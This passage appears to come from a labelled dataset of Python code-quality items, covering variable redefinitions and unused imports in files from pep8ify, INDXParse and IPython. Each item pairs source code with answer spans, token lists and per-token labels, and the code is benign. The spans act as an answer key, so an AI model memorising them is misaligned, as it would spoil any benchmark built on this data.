" ", "target", " ", "is", " ", "on", " ", "the", " ", "bottom", ")", "\\", "10", ";", " ", " ", "unti", "l", " ", "the", " ", "target", " ", "disapp", "ear", "s", ".", " ", "The", "n", " ", "the", " ", "subject", " ", "relax", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "ED", "F", "+", " ", "file", " ", "contain", "s", " ", "the", " ", "duration", " ", "of", " ", "each", " ", "event", ",", " ", "how", "ever", " ", "it", " ", "see", "ms", "\\", "10", ";", " ", " ", "to", " ", "be", " ", "slight", "ly", " ", "variab", "le", ".", " ", "Base", "d", " ", "on", " ", "the", " ", "first", " ", "subject", "s", ",", " ", "it", " ", "see", "ms", " ", "tha", "t", "\\", "10", ";", " ", " ", "bet", "ween", " ", "each", " ", "task", " ", "there", " ", "is", " ", "a", " ", "rest", "ing", " ", "task", ",", " ", "and", " ", "bot", "h", " ", "the", " ", "active", " ", "task", "\\", "10", ";", " ", " ", "and", " ", "rest", "ing", " ", "task", " ", "take", " ", "abo", "ut", " ", "4.1", "5", " ", "+-", " ", ".1", " ", "second", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "The", " ", "file", " ", "header", "s", " ", "for", " ", "one", " ", "subject", " ", "all", " ", "contain", " ", "the", " ", "same", " ", "start", "\\", "10", ";", " ", " ", "timestamp", ",", " ", "so", " ", "we", " ", "cann", "ot", " ", "estimate", " ", "the", " ", "time", " ", "bet", "ween", " ", "runs", ".", " ", "\\", "10", ";", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "urls_", ",_", "runs_", "=_", "gen", "\\u", "urls_", "(_", "subject_", ",_", "url", "\\u", "template_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "'", "Generate", "d", " ", "URL", "s", ":", " ", "%", "s", ".'_", "%_", "(_", "urls_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Load", " ", "runs", " ", "for", " ", "this", " ", "subject", ":_", "\\u\\u\\uNL\\u\\u\\u_", "rec_", "=_", "[_", "load", "\\u", "scha", "lk", "\\u", "run_", "(_", "ds_", "._", "open_", "(_", "u_", ")_", ",_", "r_", ")_", "for_", "(_", "u_", ",_", "r_", ")_", "in_", "zip_", "(_", "urls_", ",_", "runs_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runs_", ",_", "events_", "=_", "zip_", "(_", "*_", "rec_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Combine", " ", "informati", "on", " ", "from", " ", "different", " ", "runs", ":_", "\\u\\u\\uNL\\u\\u\\u_", "X_", "=_", "np_", "._", "hstack_", "(_", "[_", "r_", "._", "X_", "._", "astype_", "(_", "np_", "._", "float32_", ")_", "for_", "r_", "in_", "runs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt_", "=_", "np_", "._", "hstack_", "(_", "[_", "block", "\\u", "dt_", "(_", "r_", "._", "X_", "._", "shape_", "[_", "1_", "]_", ",_", "r_", "._", "sample", "\\u", "rate_", ")_", "for_", "r_", "in_", "runs_", "]_", ")_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chan", "\\u", "lab_", "=_", "clean", "\\u", "chan", "\\u", "lab_", "(_", "runs_", "[_", "0_", "]_", "._", "chan", "\\u", "lab_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folds_", "=_", "np_", "._", "hstack_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "np_", "._", "ones_", "(_", "e_", "._", "shape_", "[_", "1_", "]_", ",_", "int_", ")_", "*_", "i_", "for_", "(_", "i_", ",_", "e_", ")_", "in_", "enumerate_", "(_", "events_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "E_", "=_", "concatenate", "\\u", "events_", "(_", "events_", ",_", "[_", "r_", "._", "X_", "._", "shape_", "[_", "1_", "]_", "for_", "r_", "in_", "runs_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "Record", "ing_", "(_", "X_", "=_", "X_", ",_", "dt_", "=_", "dt_", ",_", "chan", "\\u", "lab_", "=_", "chan", "\\u", "lab_", ",_", "events_", "=_", "E_", ",_", "folds_", "=_", "folds_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "lab_", "=_", "EVENTS", "_", ",_", "rec", "\\u", "id_", "=_", "'", "scha", "lk", "-", "physi", "oba", "nk", "-", "s", "%", "d", "'_", "%_", "subject_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "LICENSE", "_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2 ]
Variable defined multiple times
spulec/pep8ify/tests/fixtures/extraneous_whitespace/extraneous_whitespace1_in.py
[ { "content": "spam(ham[1], {eggs: 2})\nspam( ham[1], {eggs: 2})\nspam(ham[ 1], {eggs: 2})\nspam(ham[1], { eggs: 2})\nspam(ham[1], {eggs: 2} )\nspam(ham[1 ], {eggs: 2})\nspam(ham[1], {eggs: 2 })\n\nif x == 4:\n print x, y\n x, y = y , x\nif x == 4 :\n print x, y\n x, y = y, x\n\nre_comments, comments, after_comments = spam( \n \"testing\")\n\nre_comments, comments, after_comments = spam(\n \"testing\")\n\nnew_prefix = u\"%s# %s\" % (\"whitespace_before\", \"comment_after\".lstrip(\n ))\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "re_comments,", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 11 }, { "span": "comments,", "start_line": 15, "start_column": 13, "end_line": 15, "end_column": 21 }, { "span": "after_comments ", "start_line": 15, "start_column": 23, "end_line": 15, "end_column": 37 } ]
[ { "span": "re_comments,", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 11 }, { "span": "comments,", "start_line": 18, "start_column": 13, "end_line": 18, "end_column": 21 }, { "span": "after_comments ", "start_line": 18, "start_column": 23, "end_line": 18, "end_column": 37 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spam_", "(_", "ham", "_", "[_", "1_", "]_", ",_", "{_", "egg", "s_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "x_", "==_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "x_", ",_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", ",_", "y_", "=_", "y_", ",_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "x_", "==_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "x_", ",_", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", ",_", "y_", "=_", "y_", ",_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "re", "\\u", "comments_", ",_", "comments_", ",_", "after", "\\u", "comments_", "=_", "spam_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "testi", "ng", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "re", "\\u", "comments_", ",_", "comments_", ",_", "after", "\\u", "comments_", "=_", "spam_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "testi", "ng", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "\\u", "prefix_", "=_", "u", "\"%", "s", "#", " ", "%", "s", "\"_", "%_", "(_", "\"", "whitespace", "\\u", "bef", "ore", "\"_", ",_", "\"", "comment", "\\u", "after", "\"_", "._", "lstrip_", "(_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 0, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 2, 3, 2, 3, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
williballenthin/INDXParse/tree_mft.py
[ { "content": "#! /usr/bin/env python\n\nfrom MFT import MFTEnumerator\n\nimport mmap\nimport logging\nimport calendar\nfrom datetime import datetime\n\nimport argparse\n\nfrom MFT import Cache\nfrom MFT import MFTTree\n\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Mmap(object):\n \"\"\"\n Convenience class for opening a read-only memory map for a file path.\n \"\"\"\n \n", "metadata": "root.Mmap", "header": "['module', '___EOS___']", "index": 15 }, { "content": " def __init__(self, filename):\n super(Mmap, self).__init__()\n self._filename = filename\n self._f = None\n self._mmap = None", "metadata": "root.Mmap.__init__", "header": "['class', 'Mmap', '(', 'object', ')', ':', '___EOS___']", "index": 19 }, { "content": " def __enter__(self):\n self._f = open(self._filename, \"rb\")\n self._mmap = mmap.mmap(self._f.fileno(), 0, access=mmap.ACCESS_READ)\n return self._mmap", "metadata": "root.Mmap.__enter__", "header": "['class', 'Mmap', '(', 'object', ')', ':', '___EOS___']", "index": 25 }, { "content": " def __exit__(self, type, value, traceback):\n self._mmap.close()\n self._f.close()", "metadata": "root.Mmap.__exit__", "header": "['class', 'Mmap', '(', 'object', ')', ':', '___EOS___']", "index": 30 }, { "content": "def main():\n parser = argparse.ArgumentParser(description='Parse MFT '\n 'filesystem structures.')\n parser.add_argument('-c', action=\"store\", metavar=\"cache_size\", type=int,\n dest=\"cache_size\", default=1024,\n help=\"Size of cache.\")\n parser.add_argument('-v', action=\"store_true\", dest=\"verbose\",\n help=\"Print debugging information\")\n parser.add_argument('filename', action=\"store\",\n help=\"Input MFT file path\")\n\n results = parser.parse_args()\n\n if results.verbose:\n logging.basicConfig(level=logging.DEBUG)\n\n with Mmap(results.filename) as buf:\n record_cache = Cache(results.cache_size)\n path_cache = Cache(results.cache_size)\n \n tree = MFTTree(buf)\n tree.build(record_cache=record_cache, path_cache=path_cache)\n\n def rec(node, prefix):\n print prefix + node.get_filename()\n for child in node.get_children():\n rec(child, prefix + \" \")\n \n rec(tree.get_root(), \"\")", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 35 } ]
[ { "span": "from MFT import MFTEnumerator", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 29 }, { "span": "import calendar", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", " ", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "MF", "T_", "import_", "MF", "TE", "numerator_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "mmap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "calendar_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "argparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "MF", "T_", "import_", "Cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "MF", "T_", "import_", "MF", "TT", "ree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "main_", "(_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Mm", "ap_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Conve", "nie", "nce", " ", "class", " ", "for", " ", "opening", " ", "a", " ", "read", "-", "only", " ", "memory", " ", "map", " ", "for", " ", "a", " ", "file", " ", "path", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Mm", "ap_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "filename_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Mm", "ap_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "filename_", "=_", "filename_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "f_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mmap_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mm", "ap_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "enter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "f_", "=_", "open_", "(_", "self_", "._", "\\u", "filename_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "mmap_", "=_", "mmap_", "._", "mmap_", "(_", "self_", "._", "\\u", "f_", "._", "fileno_", "(_", ")_", ",_", "0_", ",_", "access_", "=_", "mmap_", "._", "ACCESS", "\\u", "READ_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "\\u", "mmap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mm", "ap_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "exit\\u\\u_", "(_", "self_", ",_", "type_", ",_", "value_", ",_", "traceback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "mmap_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parser_", "=_", "argparse_", "._", "Arg", "ument", "Parser_", "(_", "description_", "=_", "'", "Pars", "e", " ", "MF", "T", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "filesystem", " ", "structure", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "c", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "metavar_", "=_", "\"", "cache", "\\u", "size", "\"_", ",_", "type_", "=_", "int_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dest_", "=_", "\"", "cache", "\\u", "size", "\"_", ",_", "default_", "=_", "1024_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Size", " ", "of", " ", "cache", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'-", "v", "'_", ",_", "action_", "=_", "\"", "store", "\\u", "true", "\"_", ",_", "dest_", "=_", "\"", "verbo", "se", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Print", " ", "debugg", "ing", " ", "informati", "on", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "filename", "'_", ",_", "action_", "=_", "\"", "store", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "\"", "Inp", "ut", " ", "MF", "T", " ", "file", " ", "path", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "results_", "._", "verbose_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "basic", "Config_", "(_", "level_", "=_", "logging_", "._", "DEBUG_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "Mm", "ap_", "(_", "results_", "._", "filename_", ")_", "as_", "buf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "record", "\\u", "cache_", "=_", "Cache_", "(_", "results_", "._", "cache", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path", "\\u", "cache_", "=_", "Cache_", "(_", "results_", "._", "cache", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "tree_", "=_", "MF", "TT", "ree_", "(_", "buf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tree_", "._", "build_", "(_", "record", "\\u", "cache_", "=_", "record", "\\u", "cache_", ",_", "path", "\\u", "cache_", "=_", "path", "\\u", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "rec_", "(_", "node_", ",_", "prefix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "prefix_", "+_", "node_", "._", "get", "\\u", "filename_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "child_", "in_", "node_", "._", "get", "\\u", "children_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rec_", "(_", "child_", ",_", "prefix_", "+_", "\"", " ", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rec_", "(_", "tree_", "._", "get", "\\u", "root_", "(_", ")_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ipython/ipython-py3k/IPython/frontend/qt/console/qtconsoleapp.py
[ { "content": "\"\"\" A minimal application using the Qt console-style IPython frontend.\n\nThis is not a complete console app, as subprocess will not be able to receive\ninput, there is no real readline support, among other limitations.\n\nAuthors:\n\n* Evan Patterson\n* Min RK\n* Erik Tollerud\n* Fernando Perez\n\n\"\"\"\n\n#-----------------------------------------------------------------------------\n# Imports\n#-----------------------------------------------------------------------------\n\n# stdlib imports\nimport os\nimport signal\nimport sys\n\n# System library imports\nfrom IPython.external.qt import QtGui\nfrom pygments.styles import get_all_styles\n\n# Local imports\nfrom IPython.config.application import boolean_flag\nfrom IPython.core.application import BaseIPythonApplication\nfrom IPython.core.profiledir import ProfileDir\nfrom IPython.frontend.qt.console.frontend_widget import FrontendWidget\nfrom IPython.frontend.qt.console.ipython_widget import IPythonWidget\nfrom IPython.frontend.qt.console.rich_ipython_widget import RichIPythonWidget\nfrom IPython.frontend.qt.console import styles\nfrom IPython.frontend.qt.kernelmanager import QtKernelManager\nfrom IPython.utils.traitlets import (\n Dict, List, Unicode, Int, CaselessStrEnum, CBool, Any\n)\nfrom IPython.zmq.ipkernel import (\n flags as ipkernel_flags,\n aliases as ipkernel_aliases,\n IPKernelApp\n)\nfrom IPython.zmq.session import Session\nfrom IPython.zmq.zmqshell import ZMQInteractiveShell\n\n\n#-----------------------------------------------------------------------------\n# Network Constants\n#-----------------------------------------------------------------------------\n\nfrom IPython.utils.localinterfaces import LOCALHOST, LOCAL_IPS\n\n#-----------------------------------------------------------------------------\n# Globals\n#-----------------------------------------------------------------------------\n\n_examples = \"\"\"\nipython qtconsole # start the qtconsole\nipython qtconsole --pylab=inline # start with pylab in inline plotting mode\n\"\"\"\n\n#-----------------------------------------------------------------------------\n# Classes\n#-----------------------------------------------------------------------------\n\n\n#-----------------------------------------------------------------------------\n# Aliases and Flags\n#-----------------------------------------------------------------------------\n\nflags = dict(ipkernel_flags)\nqt_flags = {\n 'existing' : ({'IPythonQtConsoleApp' : {'existing' : True}},\n \"Connect to an existing kernel.\"),\n 'pure' : ({'IPythonQtConsoleApp' : {'pure' : True}},\n \"Use a pure Python kernel instead of an IPython kernel.\"),\n 'plain' : ({'ConsoleWidget' : {'kind' : 'plain'}},\n \"Disable rich text support.\"),\n}\nqt_flags.update(boolean_flag(\n 'gui-completion', 'ConsoleWidget.gui_completion',\n \"use a GUI widget for tab completion\",\n \"use plaintext output for completion\"\n))\nqt_flags.update(boolean_flag(\n 'confirm-exit', 'IPythonQtConsoleApp.confirm_exit',\n \"\"\"Set to display confirmation dialog on exit. You can always use 'exit' or 'quit',\n to force a direct exit without any confirmation.\n \"\"\",\n \"\"\"Don't prompt the user when exiting. This will terminate the kernel\n if it is owned by the frontend, and leave it alive if it is external.\n \"\"\"\n))\nflags.update(qt_flags)\n# the flags that are specific to the frontend\n# these must be scrubbed before being passed to the kernel,\n# or it will raise an error on unrecognized flags\nqt_flags = list(qt_flags.keys())\n\naliases = dict(ipkernel_aliases)\n\nqt_aliases = dict(\n hb = 'IPythonQtConsoleApp.hb_port',\n shell = 'IPythonQtConsoleApp.shell_port',\n iopub = 'IPythonQtConsoleApp.iopub_port',\n stdin = 'IPythonQtConsoleApp.stdin_port',\n ip = 'IPythonQtConsoleApp.ip',\n\n style = 'IPythonWidget.syntax_style',\n stylesheet = 'IPythonQtConsoleApp.stylesheet',\n colors = 'ZMQInteractiveShell.colors',\n\n editor = 'IPythonWidget.editor',\n paging = 'ConsoleWidget.paging',\n)\naliases.update(qt_aliases)\n# also scrub aliases from the frontend\nqt_flags.extend(list(qt_aliases.keys()))\n\n\n#-----------------------------------------------------------------------------\n# IPythonQtConsole\n#-----------------------------------------------------------------------------\n\n\n\n#-----------------------------------------------------------------------------\n# Main entry point\n#-----------------------------------------------------------------------------\n\n\n\nif __name__ == '__main__':\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class MainWindow(QtGui.QMainWindow):\n\n #---------------------------------------------------------------------------\n # 'object' interface\n #---------------------------------------------------------------------------\n \n \n #---------------------------------------------------------------------------\n # QWidget 